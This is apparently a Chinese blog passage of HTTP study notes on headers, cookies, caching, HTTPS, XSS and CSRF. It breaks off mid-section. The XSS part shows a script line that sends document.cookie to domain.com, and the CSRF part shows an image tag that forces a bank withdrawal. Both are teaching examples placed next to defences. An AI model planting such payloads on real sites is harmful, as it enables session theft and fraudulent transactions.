<h2 id="4-1-通用首部字段"><a href="#4-1-通用首部字段" class="headerlink" title="4.1 通用首部字段"></a>4.1 通用首部字段</h2><table>
<thead>
<tr>
<th style="text-align:center">首部字段名</th>
<th style="text-align:center">说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><code>Cache-Control</code></td>
<td style="text-align:center">控制缓存的行为</td>
</tr>
<tr>
<td style="text-align:center"><code>Connection</code></td>
<td style="text-align:center">控制不再转发给代理的首部字段、管理持久连接</td>
</tr>
<tr>
<td style="text-align:center"><code>Date</code></td>
<td style="text-align:center">创建报文的日期时间</td>
</tr>
<tr>
<td style="text-align:center"><code>Pragma</code></td>
<td style="text-align:center">报文指令</td>
</tr>
<tr>
<td style="text-align:center"><code>Trailer</code></td>
<td style="text-align:center">报文末端的首部一览</td>
</tr>
<tr>
<td style="text-align:center"><code>Transfer-Encoding</code></td>
<td style="text-align:center">指定报文主体的传输编码方式</td>
</tr>
<tr>
<td style="text-align:center"><code>Upgrade</code></td>
<td style="text-align:center">升级为其他协议</td>
</tr>
<tr>
<td style="text-align:center"><code>Via</code></td>
<td style="text-align:center">代理服务器的相关信息</td>
</tr>
<tr>
<td style="text-align:center"><code>Warning</code></td>
<td style="text-align:center">错误通知</td>
</tr>
</tbody>
</table>
<h2 id="4-2-请求首部字段"><a href="#4-2-请求首部字段" class="headerlink" title="4.2 请求首部字段"></a>4.2 请求首部字段</h2><table>
<thead>
<tr>
<th style="text-align:center">首部字段名</th>
<th style="text-align:center">说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><code>Accept</code></td>
<td style="text-align:center">用户代理可处理的媒体类型</td>
</tr>
<tr>
<td style="text-align:center"><code>Accept-Charset</code></td>
<td style="text-align:center">优先的字符集</td>
</tr>
<tr>
<td style="text-align:center"><code>Accept-Encoding</code></td>
<td style="text-align:center">优先的内容编码</td>
</tr>
<tr>
<td style="text-align:center"><code>Accept-Language</code></td>
<td style="text-align:center">优先的语言（自然语言）</td>
</tr>
<tr>
<td style="text-align:center"><code>Authorization</code></td>
<td style="text-align:center"><code>Web</code> 认证信息</td>
</tr>
<tr>
<td style="text-align:center"><code>Expect</code></td>
<td style="text-align:center">期待服务器的特定行为</td>
</tr>
<tr>
<td style="text-align:center"><code>From</code></td>
<td style="text-align:center">用户的电子邮箱地址</td>
</tr>
<tr>
<td style="text-align:center"><code>Host</code></td>
<td style="text-align:center">请求资源所在服务器</td>
</tr>
<tr>
<td style="text-align:center"><code>If-Match</code></td>
<td style="text-align:center">比较实体标记（<code>ETag</code>）</td>
</tr>
<tr>
<td style="text-align:center"><code>If-Modified-Since</code></td>
<td style="text-align:center">比较资源的更新时间</td>
</tr>
<tr>
<td style="text-align:center"><code>If-None-Match</code></td>
<td style="text-align:center">比较实体标记（与 <code>If-Match</code> 相反）</td>
</tr>
<tr>
<td style="text-align:center"><code>If-Range</code></td>
<td style="text-align:center">资源未更新时发送实体 <code>Byte</code> 的范围请求</td>
</tr>
<tr>
<td style="text-align:center"><code>If-Unmodified-Since</code></td>
<td style="text-align:center">比较资源的更新时间（与 <code>If-Modified-Since</code>相反）</td>
</tr>
<tr>
<td style="text-align:center"><code>Max-Forwards</code></td>
<td style="text-align:center">最大传输逐跳数</td>
</tr>
<tr>
<td style="text-align:center"><code>Proxy-Authorization</code></td>
<td style="text-align:center">代理服务器要求客户端的认证信息</td>
</tr>
<tr>
<td style="text-align:center"><code>Range</code></td>
<td style="text-align:center">实体的字节范围请求</td>
</tr>
<tr>
<td style="text-align:center"><code>Referer</code></td>
<td style="text-align:center">对请求中 <code>URI</code> 的原始获取方</td>
</tr>
<tr>
<td style="text-align:center"><code>TE</code></td>
<td style="text-align:center">传输编码的优先级</td>
</tr>
<tr>
<td style="text-align:center"><code>User-Agent</code></td>
<td style="text-align:center"><code>HTTP</code> 客户端程序的信息</td>
</tr>
</tbody>
</table>
<h2 id="4-3-响应首部字段"><a href="#4-3-响应首部字段" class="headerlink" title="4.3 响应首部字段"></a>4.3 响应首部字段</h2><table>
<thead>
<tr>
<th style="text-align:center">首部字段名</th>
<th style="text-align:center">说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><code>Accept-Ranges</code></td>
<td style="text-align:center">是否接受字节范围请求</td>
</tr>
<tr>
<td style="text-align:center"><code>Age</code></td>
<td style="text-align:center">推算资源创建经过时间</td>
</tr>
<tr>
<td style="text-align:center"><code>ETag</code></td>
<td style="text-align:center">资源的匹配信息</td>
</tr>
<tr>
<td style="text-align:center"><code>Location</code></td>
<td style="text-align:center">令客户端重定向至指定 <code>URI</code></td>
</tr>
<tr>
<td style="text-align:center"><code>Proxy-Authenticate</code></td>
<td style="text-align:center">代理服务器对客户端的认证信息</td>
</tr>
<tr>
<td style="text-align:center"><code>Retry-After</code></td>
<td style="text-align:center">对再次发起请求的时机要求</td>
</tr>
<tr>
<td style="text-align:center"><code>Server</code></td>
<td style="text-align:center"><code>HTTP</code> 服务器的安装信息</td>
</tr>
<tr>
<td style="text-align:center"><code>Vary</code></td>
<td style="text-align:center">代理服务器缓存的管理信息</td>
</tr>
<tr>
<td style="text-align:center"><code>WWW-Authenticate</code></td>
<td style="text-align:center">服务器对客户端的认证信息</td>
</tr>
</tbody>
</table>
<h2 id="4-4-实体首部字段"><a href="#4-4-实体首部字段" class="headerlink" title="4.4 实体首部字段"></a>4.4 实体首部字段</h2><table>
<thead>
<tr>
<th style="text-align:center">首部字段名</th>
<th style="text-align:center">说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><code>Allow</code></td>
<td style="text-align:center">资源可支持的 <code>HTTP</code>方法</td>
</tr>
<tr>
<td style="text-align:center"><code>Content-Encoding</code></td>
<td style="text-align:center">实体主体适用的编码方式</td>
</tr>
<tr>
<td style="text-align:center"><code>Content-Language</code></td>
<td style="text-align:center">实体主体的自然语言</td>
</tr>
<tr>
<td style="text-align:center"><code>Content-Length</code></td>
<td style="text-align:center">实体主体的大小</td>
</tr>
<tr>
<td style="text-align:center"><code>Content-Location</code></td>
<td style="text-align:center">替代对应资源的 <code>URI</code></td>
</tr>
<tr>
<td style="text-align:center"><code>Content-MD5</code></td>
<td style="text-align:center">实体主体的报文摘要</td>
</tr>
<tr>
<td style="text-align:center"><code>Content-Range</code></td>
<td style="text-align:center">实体主体的位置范围</td>
</tr>
<tr>
<td style="text-align:center"><code>Content-Type</code></td>
<td style="text-align:center">实体主体的媒体类型</td>
</tr>
<tr>
<td style="text-align:center"><code>Expires</code></td>
<td style="text-align:center">实体主体过期的日期时间</td>
</tr>
<tr>
<td style="text-align:center"><code>Last-Modified</code></td>
<td style="text-align:center">资源的最后修改日期时间</td>
</tr>
</tbody>
</table>
<h1 id="五、具体应用"><a href="#五、具体应用" class="headerlink" title="五、具体应用"></a>五、具体应用</h1><h2 id="5-1-Cookie"><a href="#5-1-Cookie" class="headerlink" title="5.1 Cookie"></a>5.1 Cookie</h2><ul>
<li><code>HTTP</code> 协议是无状态的，主要是为了让 <code>HTTP</code> 协议尽可能简单，使得它能够处理大量事务。<code>HTTP/1.1</code> 引入 <code>Cookie</code> 来保存状态信息。</li>
<li><code>Cookie</code> 是服务器发送给客户端的数据，该数据会被保存在浏览器中，并且客户端的下一次请求报文会包含该数据。通过 <code>Cookie</code> 可以让服务器知道两个请求是否来自于同一个客户端，从而实现保持登录状态等功能。</li>
</ul>
<h3 id="5-1-1-创建过程"><a href="#5-1-1-创建过程" class="headerlink" title="5.1.1 创建过程"></a>5.1.1 创建过程</h3><ul>
<li>服务器发送的响应报文包含 <code>Set-Cookie</code> 字段，客户端得到响应报文后把 <code>Cookie</code> 内容保存到浏览器中</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">HTTP/1.0 200 OK</span><br><span class="line">Content-type: text/html</span><br><span class="line">Set-Cookie: yummy_cookie=choco</span><br><span class="line">Set-Cookie: tasty_cookie=strawberry</span><br><span class="line"></span><br><span class="line">[page content]</span><br></pre></td></tr></table></figure>
<ul>
<li>客户端之后发送请求时，会从浏览器中读出 <code>Cookie</code> 值，在请求报文中包含 <code>Cookie</code> 字段</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">GET /sample_page.html HTTP/1.1</span><br><span class="line">Host: www.example.org</span><br><span class="line">Cookie: yummy_cookie=choco; tasty_cookie=strawberry</span><br></pre></td></tr></table></figure>
<h3 id="5-1-2-分类"><a href="#5-1-2-分类" class="headerlink" title="5.1.2 分类"></a>5.1.2 分类</h3><ul>
<li>会话期 <code>Cookie</code>：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。</li>
<li>持久性 <code>Cookie</code>：指定一个特定的过期时间（<code>Expires</code>）或有效期（<code>Max-Age</code>）之后就成为了持久性的 <code>Cookie</code>。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</span><br></pre></td></tr></table></figure>
<h3 id="5-1-3-Set-Cookie"><a href="#5-1-3-Set-Cookie" class="headerlink" title="5.1.3 Set-Cookie"></a>5.1.3 Set-Cookie</h3><table>
<thead>
<tr>
<th style="text-align:center">属性</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center"><code>NAME=VALUE</code></td>
<td>赋予 <code>Cookie</code> 的名称和其值（必需项）</td>
</tr>
<tr>
<td style="text-align:center"><code>expires=DATE</code></td>
<td><code>Cookie</code> 的有效期（若不明确指定则默认为浏览器关闭前为止）</td>
</tr>
<tr>
<td style="text-align:center"><code>path=PATH</code></td>
<td>将服务器上的文件目录作为 <code>Cookie</code> 的适用对象（若不指定则默认为文档所在的文件目录）</td>
</tr>
<tr>
<td style="text-align:center"><code>domain=域名</code></td>
<td>作为 <code>Cookie</code> 适用对象的域名（若不指定则默认为创建 Cookie 的服务器的域名）</td>
</tr>
<tr>
<td style="text-align:center"><code>Secure</code></td>
<td>仅在 <code>HTTPs</code> 安全通信时才会发送 <code>Cookie</code></td>
</tr>
<tr>
<td style="text-align:center"><code>HttpOnly</code></td>
<td>加以限制，使 <code>Cookie</code> 不能被 <code>JavaScript</code> 脚本访问</td>
</tr>
</tbody>
</table>
<h3 id="5-1-4-Session-和-Cookie-区别"><a href="#5-1-4-Session-和-Cookie-区别" class="headerlink" title="5.1.4 Session 和 Cookie 区别"></a>5.1.4 Session 和 Cookie 区别</h3><blockquote>
<p><code>Session</code> 是服务器用来跟踪用户的一种手段，每个 Session 都有一个唯一标识：Session ID。当服务器创建了一个 Session 时，给客户端发送的响应报文包含了 Set-Cookie 字段，其中有一个名为 sid 的键值对，这个键值对就是 Session ID。客户端收到后就把 Cookie 保存在浏览器中，并且之后发送的请求报文都包含 Session ID。HTTP 就是通过 Session 和 Cookie 这两种方式一起合作来实现跟踪用户状态的，Session 用于服务器端，Cookie 用于客户端。</p>
</blockquote>
<h3 id="5-1-5-浏览器禁用-Cookie-的情况"><a href="#5-1-5-浏览器禁用-Cookie-的情况" class="headerlink" title="5.1.5 浏览器禁用 Cookie 的情况"></a>5.1.5 浏览器禁用 Cookie 的情况</h3><blockquote>
<p>会使用 <code>URL</code> 重写技术，在 <code>URL</code> 后面加上 <code>sid=xxx</code> 。</p>
</blockquote>
<h3 id="5-1-6-使用-Cookie-实现用户名和密码的自动填写"><a href="#5-1-6-使用-Cookie-实现用户名和密码的自动填写" class="headerlink" title="5.1.6 使用 Cookie 实现用户名和密码的自动填写"></a>5.1.6 使用 Cookie 实现用户名和密码的自动填写</h3><ul>
<li>网站脚本会自动从保存在浏览器中的 <code>Cookie</code> 读取用户名和密码，从而实现自动填写。</li>
<li>但是如果 <code>Set-Cookie</code> 指定了 <code>HttpOnly</code>属性，就无法通过 <code>Javascript</code>脚本获取 <code>Cookie</code>信息，这是出于安全性考虑。</li>
</ul>
<h2 id="5-2-缓存"><a href="#5-2-缓存" class="headerlink" title="5.2 缓存"></a>5.2 缓存</h2><h3 id="5-2-1-优点"><a href="#5-2-1-优点" class="headerlink" title="5.2.1 优点"></a>5.2.1 优点</h3><ul>
<li>降低服务器的负担；</li>
<li>提高响应速度（缓存资源比服务器上的资源离客户端更近）</li>
</ul>
<h3 id="5-2-2-实现方法"><a href="#5-2-2-实现方法" class="headerlink" title="5.2.2 实现方法"></a>5.2.2 实现方法</h3><ul>
<li>让代理服务器进行缓存</li>
<li>让客户端浏览器进行缓存</li>
</ul>
<h3 id="5-2-3-Cache-Control-字段"><a href="#5-2-3-Cache-Control-字段" class="headerlink" title="5.2.3 Cache-Control 字段"></a>5.2.3 Cache-Control 字段</h3><ul>
<li><code>HTTP</code> 通过 <code>Cache-Control</code> 首部字段来控制缓存。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">Cache-Control: private, max-age=0, no-cache</span><br></pre></td></tr></table></figure>
<h3 id="5-2-4-no-cache-指令"><a href="#5-2-4-no-cache-指令" class="headerlink" title="5.2.4 no-cache 指令"></a>5.2.4 no-cache 指令</h3><ul>
<li>该指令出现在请求报文的 <code>Cache-Control</code> 字段中，表示缓存服务器需要先向原服务器验证缓存资源是否过期</li>
<li>该指令出现在响应报文的 <code>Cache-Control</code> 字段中，表示缓存服务器在进行缓存之前需要先验证缓存资源的有效性</li>
</ul>
<h3 id="5-2-5-no-store-指令"><a href="#5-2-5-no-store-指令" class="headerlink" title="5.2.5 no-store 指令"></a>5.2.5 no-store 指令</h3><ul>
<li>该指令表示缓存服务器不能对请求或响应的任何一部分进行缓存。</li>
<li><code>no-cache</code> 不表示不缓存，而是缓存之前需要先进行验证，<code>no-store</code> 才是不进行缓存。</li>
</ul>
<h3 id="5-2-6-max-age-指令"><a href="#5-2-6-max-age-指令" class="headerlink" title="5.2.6 max-age 指令"></a>5.2.6 max-age 指令</h3><ul>
<li>该指令出现在请求报文的 <code>Cache-Control</code> 字段中，如果缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。</li>
<li>该指令出现在响应报文的 <code>Cache-Control</code> 字段中，表示缓存资源在缓存服务器中保存的时间。</li>
<li><code>Expires</code> 字段也可以用于告知缓存服务器该资源什么时候会过期。在 <code>HTTP/1.1</code>中，会优先处理 <code>Cache-Control : max-age</code> 指令；而在 <code>HTTP/1.0</code> 中，<code>Cache-Control : max-age</code> 指令会被忽略掉。</li>
</ul>
<h2 id="5-3-持久连接"><a href="#5-3-持久连接" class="headerlink" title="5.3 持久连接"></a>5.3 持久连接</h2><blockquote>
<p>当浏览器访问一个包含多张图片的 <code>HTML</code> 页面时，除了请求访问 <code>HTML</code> 页面资源，还会请求图片资源，如果每进行一次 <code>HTTP</code> 通信就要断开一次 <code>TCP</code> 连接，连接建立和断开的开销会很大。持久连接只需要建立一次 <code>TCP</code> 连接就能进行多次 HTTP 通信。</p>
</blockquote>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-5.png" alt></p>
<ul>
<li>持久连接需要使用 <code>Connection</code> 首部字段进行管理。<code>HTTP/1.1</code> 开始 <code>HTTP</code> 默认是持久化连接的，如果要断开 <code>TCP</code> 连接，需要由客户端或者服务器端提出断开，使用 <code>Connection : close</code>；而在 <code>HTTP/1.1</code> 之前默认是非持久化连接的，如果要维持持续连接，需要使用 <code>Connection : Keep-Alive</code>。</li>
</ul>
<h2 id="5-4-管线化处理"><a href="#5-4-管线化处理" class="headerlink" title="5.4 管线化处理"></a>5.4 管线化处理</h2><blockquote>
<p><code>HTTP/1.1</code> 支持管线化处理，可以同时发送多个请求和响应，而不需要发送一个请求然后等待响应之后再发下一个请求。</p>
</blockquote>
<h2 id="5-5-编码"><a href="#5-5-编码" class="headerlink" title="5.5 编码"></a>5.5 编码</h2><ul>
<li>编码（Encoding）主要是为了对实体进行压缩。常用的编码有：<code>gzip</code>、<code>compress</code>、<code>deflate</code>、<code>identity</code>，其中 <code>identity</code> 表示不执行压缩的编码格式。</li>
</ul>
<h2 id="5-6-分块传输编码"><a href="#5-6-分块传输编码" class="headerlink" title="5.6 分块传输编码"></a>5.6 分块传输编码</h2><ul>
<li><code>Chunked Transfer Coding</code>，可以把数据分割成多块，让浏览器逐步显示页面。</li>
</ul>
<h2 id="5-7-多部分对象集合"><a href="#5-7-多部分对象集合" class="headerlink" title="5.7 多部分对象集合"></a>5.7 多部分对象集合</h2><ul>
<li>一份报文主体内可含有多种类型的实体同时发送，每个部分之间用 boundary 字段定义的分隔符进行分隔，每个部分都可以有首部字段。</li>
</ul>
<p>例如，上传多个表单时可以使用如下方式：</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">Content-Type: multipart/form-data; boundary=AaB03x</span><br><span class="line"></span><br><span class="line">--AaB03x</span><br><span class="line">Content-Disposition: form-data; name="submit-name"</span><br><span class="line"></span><br><span class="line">Larry</span><br><span class="line">--AaB03x</span><br><span class="line">Content-Disposition: form-data; name="files"; filename="file1.txt"</span><br><span class="line">Content-Type: text/plain</span><br><span class="line"></span><br><span class="line">... contents of file1.txt ...</span><br><span class="line">--AaB03x--</span><br></pre></td></tr></table></figure>
<h2 id="5-8-范围请求"><a href="#5-8-范围请求" class="headerlink" title="5.8 范围请求"></a>5.8 范围请求</h2><ul>
<li>如果网络出现中断，服务器只发送了一部分数据，范围请求使得客户端能够只请求未发送的那部分数据，从而避免服务器端重新发送所有数据。</li>
<li>在请求报文首部中添加 Range 字段指定请求的范围，请求成功的话服务器发送 <code>206 Partial Content</code> 状态。</li>
</ul>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">GET /z4d4kWk.jpg HTTP/1.1</span><br><span class="line">Host: i.imgur.com</span><br><span class="line">Range: bytes=0-1023</span><br></pre></td></tr></table></figure>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line">HTTP/1.1 206 Partial Content</span><br><span class="line">Content-Range: bytes 0-1023/146515</span><br><span class="line">Content-Length: 1024</span><br><span class="line">...</span><br><span class="line">(binary content)</span><br></pre></td></tr></table></figure>
<h2 id="5-9-内容协商"><a href="#5-9-内容协商" class="headerlink" title="5.9 内容协商"></a>5.9 内容协商</h2><ul>
<li>通过内容协商返回最合适的内容，例如根据浏览器的默认语言选择返回中文界面还是英文界面。</li>
<li>涉及以下首部字段：<code>Accept</code>、<code>Accept-Charset</code>、<code>Accept-Encoding</code>、<code>Accept-Language</code>、<code>Content-Language</code>。</li>
</ul>
<h2 id="5-10-虚拟主机"><a href="#5-10-虚拟主机" class="headerlink" title="5.10 虚拟主机"></a>5.10 虚拟主机</h2><ul>
<li><code>HTTP/1.1</code> 使用虚拟主机技术，使得一台服务器拥有多个域名，并且在逻辑上可以看成多个服务器。</li>
<li>使用 <code>Host</code> 首部字段进行处理。</li>
</ul>
<h2 id="5-11-通信数据转发"><a href="#5-11-通信数据转发" class="headerlink" title="5.11 通信数据转发"></a>5.11 通信数据转发</h2><h3 id="5-11-1-代理"><a href="#5-11-1-代理" class="headerlink" title="5.11.1 代理"></a>5.11.1 代理</h3><ul>
<li>代理服务器接受客户端的请求，并且转发给其它服务器。</li>
<li>使用代理的主要目的是：缓存、网络访问控制以及访问日志记录。</li>
<li>代理服务器分为正向代理和反向代理两种，用户察觉得到正向代理的存在，而反向代理一般位于内部网络中，用户察觉不到。</li>
</ul>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-6.png" alt></p>
<h3 id="2-网关"><a href="#2-网关" class="headerlink" title="2. 网关"></a>2. 网关</h3><ul>
<li>与代理服务器不同的是，网关服务器会将 <code>HTTP</code> - 转化为其它协议进行通信，从而请求其它非 <code>HTTP</code>服务器的服务。</li>
</ul>
<h3 id="3-隧道"><a href="#3-隧道" class="headerlink" title="3. 隧道"></a>3. 隧道</h3><ul>
<li>使用 SSL 等加密手段，为客户端和服务器之间建立一条安全的通信线路。隧道本身不去解析 HTTP 请求。</li>
</ul>
<h1 id="六、HTTPs"><a href="#六、HTTPs" class="headerlink" title="六、HTTPs"></a>六、HTTPs</h1><blockquote>
<p>HTTP 有以下安全性问题：</p>
</blockquote>
<ul>
<li>使用明文进行通信，内容可能会被窃听；</li>
<li>不验证通信方的身份，通信方的身份有可能遭遇伪装；</li>
<li>无法证明报文的完整性，报文有可能遭篡改。</li>
</ul>
<blockquote>
<p>HTTPs 并不是新协议，而是 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。</p>
</blockquote>
<ul>
<li>通过使用 <code>SSL</code>，<code>HTTPs</code> 具有了加密、认证和完整性保护。</li>
</ul>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-7.jpg" alt></p>
<h2 id="6-1-加密"><a href="#6-1-加密" class="headerlink" title="6.1 加密"></a>6.1 加密</h2><h3 id="6-1-1-对称密钥加密"><a href="#6-1-1-对称密钥加密" class="headerlink" title="6.1.1 对称密钥加密"></a>6.1.1 对称密钥加密</h3><blockquote>
<p>对称密钥加密（<code>Symmetric-Key Encryption</code>），加密的加密和解密使用同一密钥。</p>
</blockquote>
<ul>
<li>优点：运算速度快；</li>
<li>缺点：密钥容易被获取。</li>
</ul>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-8.png" alt></p>
<h3 id="6-1-2-公开密钥加密"><a href="#6-1-2-公开密钥加密" class="headerlink" title="6.1.2 公开密钥加密"></a>6.1.2 公开密钥加密</h3><blockquote>
<p>公开密钥加密（<code>Public-Key Encryption</code>），也称为非对称密钥加密，使用一对密钥用于加密和解密，分别为公开密钥和私有密钥。公开密钥所有人都可以获得，通信发送方获得接收方的公开密钥之后，就可以使用公开密钥进行加密，接收方收到通信内容后使用私有密钥解密。</p>
</blockquote>
<ul>
<li>优点：更为安全；</li>
<li>缺点：运算速度慢；</li>
</ul>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-9.png" alt></p>
<h3 id="6-1-3-HTTPs-采用的加密方式"><a href="#6-1-3-HTTPs-采用的加密方式" class="headerlink" title="6.1.3 HTTPs 采用的加密方式"></a>6.1.3 HTTPs 采用的加密方式</h3><blockquote>
<p><code>HTTPs</code> 采用混合的加密机制，使用公开密钥加密用于传输对称密钥，之后使用对称密钥加密进行通信。（下图中的 <code>Session Key</code>就是对称密钥）</p>
</blockquote>
<p><img src="http://7xq6al.com1.z0.glb.clouddn.com/http-10.png" alt></p>
<h2 id="6-2-认证"><a href="#6-2-认证" class="headerlink" title="6.2 认证"></a>6.2 认证</h2><ul>
<li>通过使用  <strong>证书</strong>  来对通信方进行认证。</li>
</ul>
<blockquote>
<p>数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。</p>
</blockquote>
<ul>
<li>进行<code>HTTPs</code> 通信时，服务器会把证书发送给客户端，客户端取得其中的公开密钥之后，先进行验证，如果验证通过，就可以开始通信。</li>
<li>使用 <code>OpenSSL</code> 这套开源程序，每个人都可以构建一套属于自己的认证机构，从而自己给自己颁发服务器证书。浏览器在访问该服务器时，会显示“无法确认连接安全性”或“该网站的安全证书存在问题”等警告消息。</li>
</ul>
<h2 id="6-3-完整性"><a href="#6-3-完整性" class="headerlink" title="6.3 完整性"></a>6.3 完整性</h2><ul>
<li><code>SSL</code> 提供报文摘要功能来验证完整性。</li>
</ul>
<h1 id="七、Web-攻击技术"><a href="#七、Web-攻击技术" class="headerlink" title="七、Web 攻击技术"></a>七、Web 攻击技术</h1><h2 id="7-1-攻击模式"><a href="#7-1-攻击模式" class="headerlink" title="7.1 攻击模式"></a>7.1 攻击模式</h2><h3 id="7-1-1-主动攻击"><a href="#7-1-1-主动攻击" class="headerlink" title="7.1.1 主动攻击"></a>7.1.1 主动攻击</h3><blockquote>
<p>直接攻击服务器，具有代表性的有 <code>SQL</code> 注入和 <code>OS</code> 命令注入。</p>
</blockquote>
<h3 id="7-1-2-被动攻击"><a href="#7-1-2-被动攻击" class="headerlink" title="7.1.2 被动攻击"></a>7.1.2 被动攻击</h3><ul>
<li>设下圈套，让用户发送有攻击代码的 <code>HTTP</code> 请求，用户会泄露 <code>Cookie</code> 等个人信息，具有代表性的有跨站脚本攻击和跨站请求伪造。</li>
</ul>
<h2 id="7-2-跨站脚本攻击"><a href="#7-2-跨站脚本攻击" class="headerlink" title="7.2 跨站脚本攻击"></a>7.2 跨站脚本攻击</h2><h3 id="7-2-1-概念"><a href="#7-2-1-概念" class="headerlink" title="7.2.1 概念"></a>7.2.1 概念</h3><blockquote>
<p>跨站脚本攻击（<code>Cross-Site Scripting, XSS</code>），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和 Cookie 等各种内容。</p>
</blockquote>
<p>例如有一个论坛网站，攻击者可以在上面发表以下内容：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">&lt;script&gt;location.href=&quot;//domain.com/?c=&quot; + document.cookie&lt;/script&gt;</span><br></pre></td></tr></table></figure>
<p>之后该内容可能会被渲染成以下形式：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">&lt;p&gt;&lt;script&gt;location.href=&quot;//domain.com/?c=&quot; + document.cookie&lt;/script&gt;&lt;/p&gt;</span><br></pre></td></tr></table></figure>
<blockquote>
<p>另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。</p>
</blockquote>
<h3 id="7-2-2-危害"><a href="#7-2-2-危害" class="headerlink" title="7.2.2 危害"></a>7.2.2 危害</h3><ul>
<li>伪造虚假的输入表单骗取个人信息</li>
<li>窃取用户的 <code>Cookie</code> 值</li>
<li>显示伪造的文章或者图片</li>
</ul>
<h3 id="7-2-3-防范手段"><a href="#7-2-3-防范手段" class="headerlink" title="7.2.3 防范手段"></a>7.2.3 防范手段</h3><p><strong>过滤特殊字符</strong></p>
<p>许多语言都提供了对 HTML 的过滤：</p>
<ul>
<li>PHP 的 <code>htmlentities()</code> 或是 <code>htmlspecialchars()</code>。</li>
<li>Python 的 <code>cgi.escape()</code>。</li>
<li>Java 的 <code>xssprotect</code> (Open Source Library)。</li>
<li>Node.js 的 <code>node-validator</code>。</li>
</ul>
<p><strong>指定 HTTP 的 Content-Type</strong></p>
<p>通过这种方式，可以避免内容被当成 HTML 解析，比如 PHP 语言可以使用以下代码：</p>
<figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">   header(<span class="string">'Content-Type: text/javascript; charset=utf-8'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="7-3-跨站点请求伪造"><a href="#7-3-跨站点请求伪造" class="headerlink" title="7.3 跨站点请求伪造"></a>7.3 跨站点请求伪造</h2><h3 id="7-3-1-概念"><a href="#7-3-1-概念" class="headerlink" title="7.3.1 概念"></a>7.3.1 概念</h3><blockquote>
<p>跨站点请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。</p>
</blockquote>
<ul>
<li>XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。</li>
</ul>
<p>假如一家银行用以执行转账操作的 URL 地址如下：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">http://www.examplebank.com/withdraw?account=AccoutName&amp;amount=1000&amp;for=PayeeName。</span><br></pre></td></tr></table></figure>
<p>那么，一个恶意攻击者可以在另一个网站上放置如下代码：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">&lt;img src=&quot;http://www.examplebank.com/withdraw?account=Alice&amp;amount=1000&amp;for=Badman&quot;&gt;。</span><br></pre></td></tr></table></figure>
<ul>
<li>如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 资金。</li>
<li>这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。</li>
<li>透过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。</li>
</ul>
<h3 id="7-3-2-防范手段"><a href="#7-3-2-防范手段" class="headerlink" title="7.3.2 防范手段"></a>7.3.2 防范手段</h3><p><strong>检查 Referer 字段</strong></p>
<ul>
<li>HTTP 头中有一个 Referer 字段，这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时，通常来说，Referer 字段应和请求的地址位于同一域名下。</li>
<li>这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。</li>
</ul>
<p><strong>添加校验 Token</strong></p>
